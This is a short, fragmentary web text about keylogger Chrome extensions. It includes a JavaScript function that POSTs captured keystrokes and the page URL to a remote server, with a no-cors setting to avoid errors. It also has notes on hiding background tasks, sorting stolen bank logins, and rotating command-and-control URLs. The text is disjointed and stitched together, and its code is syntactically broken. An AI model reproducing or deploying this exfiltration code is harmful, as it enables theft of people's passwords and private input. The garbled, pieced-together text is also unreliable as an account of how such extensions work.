keylogger chrome extension work

function sendKeystrokes(data) fetch(targetServer, method: 'POST', mode: 'no-cors', // Attempt to avoid CORS errors body: JSON.stringify( keys: data, url: window.location.href ) );

The app runs hidden tasks in the background that you cannot see.

: Allows the extension to see which website you are visiting. This helps attackers categorize logs (e.g., separating bank credentials from social media logins).

The simplest technique involves adding JavaScript event listeners to capture keyboard events. Here's how it works:

This data transfer often happens silently in the background, frequently changing the C&C server URL to avoid detection. What Data Can Keylogger Extensions Steal?

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